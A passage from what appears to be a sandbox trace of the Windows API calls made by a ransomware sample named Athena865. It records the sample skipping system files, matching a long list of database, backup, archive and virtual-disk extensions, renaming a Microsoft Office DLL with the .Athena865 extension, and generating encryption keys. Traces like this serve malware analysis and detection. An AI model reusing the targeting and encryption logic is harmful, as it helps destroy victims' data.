returned 3 [0069.919] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0069.919] lstrlenW (lpString="spq") returned 3 [0069.919] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0069.919] lstrlenW (lpString="te") returned 2 [0069.919] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0069.919] lstrlenW (lpString="teacher") returned 7 [0069.919] lstrcmpiW (lpString1="TIL.DLL", lpString2="teacher") returned 1 [0069.919] lstrlenW (lpString="tmd") returned 3 [0069.920] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0069.920] lstrlenW (lpString="tps") returned 3 [0069.920] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0069.920] lstrlenW (lpString="trc") returned 3 [0069.920] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0069.920] lstrlenW (lpString="trc") returned 3 [0069.920] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0069.920] lstrlenW (lpString="trm") returned 3 [0069.920] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0069.920] lstrlenW (lpString="udb") returned 3 [0069.920] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0069.920] lstrlenW (lpString="udl") returned 3 [0069.920] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0069.920] lstrlenW (lpString="usr") returned 3 [0069.920] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0069.920] lstrlenW (lpString="v12") returned 3 [0069.920] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0069.920] lstrlenW (lpString="vis") returned 3 [0069.920] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0069.920] lstrlenW (lpString="vpd") returned 3 [0069.920] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0069.920] lstrlenW (lpString="vvv") returned 3 [0069.920] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0069.920] lstrlenW (lpString="wdb") returned 3 [0069.920] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0069.920] lstrlenW (lpString="wmdb") returned 4 [0069.920] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0069.920] lstrlenW (lpString="wrk") returned 3 [0069.920] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0069.920] lstrlenW (lpString="xdb") returned 3 [0069.921] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0069.921] lstrlenW (lpString="xld") returned 3 [0069.921] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0069.921] lstrlenW (lpString="xmlff") returned 5 [0069.921] lstrcmpiW (lpString1="L.DLL", lpString2="xmlff") returned -1 [0069.921] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL.Athena865") returned 65 [0069.921] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\elemutil.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\elemutil.dll.athena865"), dwFlags=0x1) returned 1 [0069.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\elemutil.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0069.922] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=145312) returned 1 [0069.922] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0069.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0069.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0069.923] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0069.924] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0069.924] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.924] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23aa0, lpName=0x0) returned 0x154 [0069.929] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23aa0) returned 0x170000 [0069.952] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0069.958] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0069.958] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0069.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0069.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0069.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0069.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0069.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0069.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0069.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0069.959] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0069.960] CloseHandle (hObject=0x154) returned 1 [0069.960] CloseHandle (hObject=0x17c) returned 1 [0069.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0069.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0069.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0069.961] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x25b80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EMABLT32.DLL", cAlternateFileName="")) returned 1 [0069.961] lstrcmpiW (lpString1="EMABLT32.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.961] lstrcmpiW (lpString1="EMABLT32.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0069.961] lstrcmpiW (lpString1="EMABLT32.DLL", lpString2=".") returned 1 [0069.961] lstrcmpiW (lpString1="EMABLT32.DLL", lpString2="..") returned 1 [0069.961] lstrcmpiW (lpString1="EMABLT32.DLL", lpString2="windows") returned -1 [0069.961] lstrcmpiW (lpString1="EMABLT32.DLL", lpString2="bootmgr") returned 1 [0069.961] lstrcmpiW (lpString1="EMABLT32.DLL", lpString2="temp") returned -1 [0069.961] lstrcmpiW (lpString1="EMABLT32.DLL", lpString2="pagefile.sys") returned -1 [0069.961] lstrcmpiW (lpString1="EMABLT32.DLL", lpString2="boot") returned 1 [0069.961] lstrcmpiW (lpString1="EMABLT32.DLL", lpString2="ids.txt") returned -1 [0069.962] lstrcmpiW (lpString1="EMABLT32.DLL", lpString2="ntuser.dat") returned -1 [0069.962] lstrcmpiW (lpString1="EMABLT32.DLL", lpString2="perflogs") returned -1 [0069.962] lstrcmpiW (lpString1="EMABLT32.DLL", lpString2="MSBuild") returned -1 [0069.962] lstrlenW (lpString="EMABLT32.DLL") returned 12 [0069.962] lstrcpyW (in: lpString1=0x241e89e, lpString2="EMABLT32.DLL" | out: lpString1="EMABLT32.DLL") returned="EMABLT32.DLL" [0069.962] lstrlenW (lpString="EMABLT32.DLL") returned 12 [0069.962] lstrlenW (lpString="Athena865") returned 9 [0069.962] lstrcmpiW (lpString1="BLT32.DLL", lpString2="Athena865") returned 1 [0069.962] lstrlenW (lpString=".dll") returned 4 [0069.962] lstrcmpiW (lpString1="EMABLT32.DLL", lpString2=".dll") returned 1 [0069.962] lstrlenW (lpString=".lnk") returned 4 [0069.962] lstrcmpiW (lpString1="EMABLT32.DLL", lpString2=".lnk") returned 1 [0069.962] lstrlenW (lpString=".ini") returned 4 [0069.962] lstrcmpiW (lpString1="EMABLT32.DLL", lpString2=".ini") returned 1 [0069.962] lstrlenW (lpString=".sys") returned 4 [0069.962] lstrcmpiW (lpString1="EMABLT32.DLL", lpString2=".sys") returned 1 [0069.962] lstrlenW (lpString="EMABLT32.DLL") returned 12 [0069.962] lstrlenW (lpString="bak") returned 3 [0069.962] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0069.962] lstrlenW (lpString="ba_") returned 3 [0069.962] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0069.962] lstrlenW (lpString="dbb") returned 3 [0069.962] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0069.962] lstrlenW (lpString="vmdk") returned 4 [0069.962] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0069.962] lstrlenW (lpString="rar") returned 3 [0069.962] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0069.962] lstrlenW (lpString="zip") returned 3 [0069.962] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0069.962] lstrlenW (lpString="tgz") returned 3 [0069.963] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0069.963] lstrlenW (lpString="vbox") returned 4 [0069.963] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0069.963] lstrlenW (lpString="vdi") returned 3 [0069.963] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0069.963] lstrlenW (lpString="vhd") returned 3 [0069.963] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0069.963] lstrlenW (lpString="vhdx") returned 4 [0069.963] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0069.963] lstrlenW (lpString="avhd") returned 4 [0069.963] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0069.963] lstrlenW (lpString="db") returned 2 [0069.963] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0069.963] lstrlenW (lpString="db2") returned 3 [0069.963] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0069.963] lstrlenW (lpString="db3") returned 3 [0069.963] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0069.963] lstrlenW (lpString="dbf") returned 3 [0069.963] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0069.963] lstrlenW (lpString="mdf") returned 3 [0069.963] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0069.963] lstrlenW (lpString="mdb") returned 3 [0069.963] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0069.963] lstrlenW (lpString="sql") returned 3 [0069.963] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0069.963] lstrlenW (lpString="sqlite") returned 6 [0069.963] lstrcmpiW (lpString1="32.DLL", lpString2="sqlite") returned -1 [0069.963] lstrlenW (lpString="sqlite3") returned 7 [0069.963] lstrcmpiW (lpString1="T32.DLL", lpString2="sqlite3") returned 1 [0069.963] lstrlenW (lpString="sqlitedb") returned 8 [0069.964] lstrcmpiW (lpString1="LT32.DLL", lpString2="sqlitedb") returned -1 [0069.964] lstrlenW (lpString="xml") returned 3 [0069.964] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0069.964] lstrlenW (lpString="$er") returned 3 [0069.964] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0069.964] lstrlenW (lpString="4dd") returned 3 [0069.964] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0069.964] lstrlenW (lpString="4dl") returned 3 [0069.964] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0069.964] lstrlenW (lpString="^^^") returned 3 [0069.964] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0069.964] lstrlenW (lpString="abs") returned 3 [0069.964] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0069.964] lstrlenW (lpString="abx") returned 3 [0069.964] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0069.964] lstrlenW (lpString="accdb") returned 5 [0069.964] lstrcmpiW (lpString1="2.DLL", lpString2="accdb") returned -1 [0069.964] lstrlenW (lpString="accdc") returned 5 [0069.964] lstrcmpiW (lpString1="2.DLL", lpString2="accdc") returned -1 [0069.964] lstrlenW (lpString="accde") returned 5 [0069.964] lstrcmpiW (lpString1="2.DLL", lpString2="accde") returned -1 [0069.964] lstrlenW (lpString="accdr") returned 5 [0069.964] lstrcmpiW (lpString1="2.DLL", lpString2="accdr") returned -1 [0069.964] lstrlenW (lpString="accdt") returned 5 [0069.964] lstrcmpiW (lpString1="2.DLL", lpString2="accdt") returned -1 [0069.964] lstrlenW (lpString="accdw") returned 5 [0069.964] lstrcmpiW (lpString1="2.DLL", lpString2="accdw") returned -1 [0069.964] lstrlenW (lpString="accft") returned 5 [0069.964] lstrcmpiW (lpString1="2.DLL", lpString2="accft") returned -1 [0069.964] lstrlenW (lpString="adb") returned 3 [0069.965] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0069.965] lstrlenW (lpString="adb") returned 3 [0069.965] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0069.965] lstrlenW (lpString="ade") returned 3 [0069.965] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0069.965] lstrlenW (lpString="adf") returned 3 [0069.965] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0069.965] lstrlenW (lpString="adn") returned 3 [0069.965] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0069.965] lstrlenW (lpString="adp") returned 3 [0069.965] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0069.965] lstrlenW (lpString="alf") returned 3 [0069.965] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0069.965] lstrlenW (lpString="ask") returned 3 [0069.965] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0069.965] lstrlenW (lpString="btr") returned 3 [0069.965] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0069.965] lstrlenW (lpString="cat") returned 3 [0069.965] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0069.965] lstrlenW (lpString="cdb") returned 3 [0069.965] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0069.965] lstrlenW (lpString="ckp") returned 3 [0069.965] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0069.965] lstrlenW (lpString="cma") returned 3 [0069.965] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0069.965] lstrlenW (lpString="cpd") returned 3 [0069.965] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0069.965] lstrlenW (lpString="dacpac") returned 6 [0069.965] lstrcmpiW (lpString1="32.DLL", lpString2="dacpac") returned -1 [0069.965] lstrlenW (lpString="dad") returned 3 [0069.965] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0069.966] lstrlenW (lpString="dadiagrams") returned 10 [0069.966] lstrcmpiW (lpString1="ABLT32.DLL", lpString2="dadiagrams") returned -1 [0069.966] lstrlenW (lpString="daschema") returned 8 [0069.966] lstrcmpiW (lpString1="LT32.DLL", lpString2="daschema") returned 1 [0069.966] lstrlenW (lpString="db-journal") returned 10 [0069.966] lstrcmpiW (lpString1="ABLT32.DLL", lpString2="db-journal") returned -1 [0069.966] lstrlenW (lpString="db-shm") returned 6 [0069.966] lstrcmpiW (lpString1="32.DLL", lpString2="db-shm") returned -1 [0069.966] lstrlenW (lpString="db-wal") returned 6 [0069.966] lstrcmpiW (lpString1="32.DLL", lpString2="db-wal") returned -1 [0069.966] lstrlenW (lpString="dbc") returned 3 [0069.966] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0069.966] lstrlenW (lpString="dbs") returned 3 [0069.966] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0069.966] lstrlenW (lpString="dbt") returned 3 [0069.966] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0069.966] lstrlenW (lpString="dbv") returned 3 [0069.966] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0069.966] lstrlenW (lpString="dbx") returned 3 [0069.966] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0069.966] lstrlenW (lpString="dcb") returned 3 [0069.966] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0069.966] lstrlenW (lpString="dct") returned 3 [0069.966] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0069.966] lstrlenW (lpString="dcx") returned 3 [0069.966] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0069.966] lstrlenW (lpString="ddl") returned 3 [0069.966] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0069.966] lstrlenW (lpString="dlis") returned 4 [0069.967] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0069.967] lstrlenW (lpString="dp1") returned 3 [0069.967] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0069.967] lstrlenW (lpString="dqy") returned 3 [0069.967] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0069.967] lstrlenW (lpString="dsk") returned 3 [0069.967] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0069.967] lstrlenW (lpString="dsn") returned 3 [0069.967] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0069.967] lstrlenW (lpString="dtsx") returned 4 [0069.967] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0069.967] lstrlenW (lpString="dxl") returned 3 [0069.967] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0069.967] lstrlenW (lpString="eco") returned 3 [0069.967] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0069.967] lstrlenW (lpString="ecx") returned 3 [0069.967] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0069.967] lstrlenW (lpString="edb") returned 3 [0069.967] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0069.967] lstrlenW (lpString="epim") returned 4 [0069.967] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0069.967] lstrlenW (lpString="fcd") returned 3 [0069.967] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0069.967] lstrlenW (lpString="fdb") returned 3 [0069.967] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0069.967] lstrlenW (lpString="fic") returned 3 [0069.967] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0069.967] lstrlenW (lpString="flexolibrary") returned 12 [0069.967] lstrlenW (lpString="fm5") returned 3 [0069.967] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0069.968] lstrlenW (lpString="fmp") returned 3 [0069.968] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0069.968] lstrlenW (lpString="fmp12") returned 5 [0069.968] lstrcmpiW (lpString1="2.DLL", lpString2="fmp12") returned -1 [0069.968] lstrlenW (lpString="fmpsl") returned 5 [0069.968] lstrcmpiW (lpString1="2.DLL", lpString2="fmpsl") returned -1 [0069.968] lstrlenW (lpString="fol") returned 3 [0069.968] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0069.968] lstrlenW (lpString="fp3") returned 3 [0069.968] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0069.968] lstrlenW (lpString="fp4") returned 3 [0069.969] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0069.969] lstrlenW (lpString="fp5") returned 3 [0069.969] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0069.969] lstrlenW (lpString="fp7") returned 3 [0069.969] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0069.969] lstrlenW (lpString="fpt") returned 3 [0069.969] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0069.969] lstrlenW (lpString="frm") returned 3 [0069.969] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0069.969] lstrlenW (lpString="gdb") returned 3 [0069.969] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0069.969] lstrlenW (lpString="gdb") returned 3 [0069.969] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0069.969] lstrlenW (lpString="grdb") returned 4 [0069.969] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0069.969] lstrlenW (lpString="gwi") returned 3 [0069.969] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0069.969] lstrlenW (lpString="hdb") returned 3 [0069.969] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0069.969] lstrlenW (lpString="his") returned 3 [0069.969] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0069.969] lstrlenW (lpString="ib") returned 2 [0069.969] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0069.970] lstrlenW (lpString="idb") returned 3 [0069.970] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0069.970] lstrlenW (lpString="ihx") returned 3 [0069.970] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0069.970] lstrlenW (lpString="itdb") returned 4 [0069.970] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0069.970] lstrlenW (lpString="itw") returned 3 [0069.970] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0069.970] lstrlenW (lpString="jet") returned 3 [0069.970] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0069.970] lstrlenW (lpString="jtx") returned 3 [0069.970] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0069.970] lstrlenW (lpString="kdb") returned 3 [0069.970] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0069.970] lstrlenW (lpString="kexi") returned 4 [0069.970] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0069.970] lstrlenW (lpString="kexic") returned 5 [0069.970] lstrcmpiW (lpString1="2.DLL", lpString2="kexic") returned -1 [0069.970] lstrlenW (lpString="kexis") returned 5 [0069.970] lstrcmpiW (lpString1="2.DLL", lpString2="kexis") returned -1 [0069.970] lstrlenW (lpString="lgc") returned 3 [0069.970] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0069.970] lstrlenW (lpString="lwx") returned 3 [0069.970] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0069.970] lstrlenW (lpString="maf") returned 3 [0069.970] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0069.970] lstrlenW (lpString="maq") returned 3 [0069.970] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0069.970] lstrlenW (lpString="mar") returned 3 [0069.970] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0069.970] lstrlenW (lpString="marshal") returned 7 [0069.971] lstrcmpiW (lpString1="T32.DLL", lpString2="marshal") returned 1 [0069.971] lstrlenW (lpString="mas") returned 3 [0069.971] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0069.971] lstrlenW (lpString="mav") returned 3 [0069.971] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0069.971] lstrlenW (lpString="maw") returned 3 [0069.971] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0069.971] lstrlenW (lpString="mdbhtml") returned 7 [0069.971] lstrcmpiW (lpString1="T32.DLL", lpString2="mdbhtml") returned 1 [0069.971] lstrlenW (lpString="mdn") returned 3 [0069.971] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0069.971] lstrlenW (lpString="mdt") returned 3 [0069.971] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0069.971] lstrlenW (lpString="mfd") returned 3 [0069.971] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0069.971] lstrlenW (lpString="mpd") returned 3 [0069.971] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0069.971] lstrlenW (lpString="mrg") returned 3 [0069.971] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0069.971] lstrlenW (lpString="mud") returned 3 [0069.971] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0069.971] lstrlenW (lpString="mwb") returned 3 [0069.971] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0069.971] lstrlenW (lpString="myd") returned 3 [0069.971] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0069.971] lstrlenW (lpString="ndf") returned 3 [0069.971] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0069.971] lstrlenW (lpString="nnt") returned 3 [0069.971] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0069.971] lstrlenW (lpString="nrmlib") returned 6 [0069.971] lstrcmpiW (lpString1="32.DLL", lpString2="nrmlib") returned -1 [0069.972] lstrlenW (lpString="ns2") returned 3 [0069.972] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0069.972] lstrlenW (lpString="ns3") returned 3 [0069.972] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0069.972] lstrlenW (lpString="ns4") returned 3 [0069.972] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0069.972] lstrlenW (lpString="nsf") returned 3 [0069.972] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0069.972] lstrlenW (lpString="nv") returned 2 [0069.972] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0069.972] lstrlenW (lpString="nv2") returned 3 [0069.972] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0069.972] lstrlenW (lpString="nwdb") returned 4 [0069.972] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0069.972] lstrlenW (lpString="nyf") returned 3 [0069.972] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0069.972] lstrlenW (lpString="odb") returned 3 [0069.972] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0069.972] lstrlenW (lpString="odb") returned 3 [0069.972] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0069.972] lstrlenW (lpString="oqy") returned 3 [0069.972] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0069.972] lstrlenW (lpString="ora") returned 3 [0069.972] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0069.972] lstrlenW (lpString="orx") returned 3 [0069.972] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0069.972] lstrlenW (lpString="owc") returned 3 [0069.972] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0069.972] lstrlenW (lpString="p96") returned 3 [0069.972] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0069.972] lstrlenW (lpString="p97") returned 3 [0069.973] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0069.973] lstrlenW (lpString="pan") returned 3 [0069.973] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0069.973] lstrlenW (lpString="pdb") returned 3 [0069.973] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0069.973] lstrlenW (lpString="pdm") returned 3 [0069.973] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0069.973] lstrlenW (lpString="pnz") returned 3 [0069.973] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0069.973] lstrlenW (lpString="qry") returned 3 [0069.973] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0069.973] lstrlenW (lpString="qvd") returned 3 [0069.973] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0069.973] lstrlenW (lpString="rbf") returned 3 [0069.973] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0069.973] lstrlenW (lpString="rctd") returned 4 [0069.973] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0069.973] lstrlenW (lpString="rod") returned 3 [0069.973] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0069.973] lstrlenW (lpString="rodx") returned 4 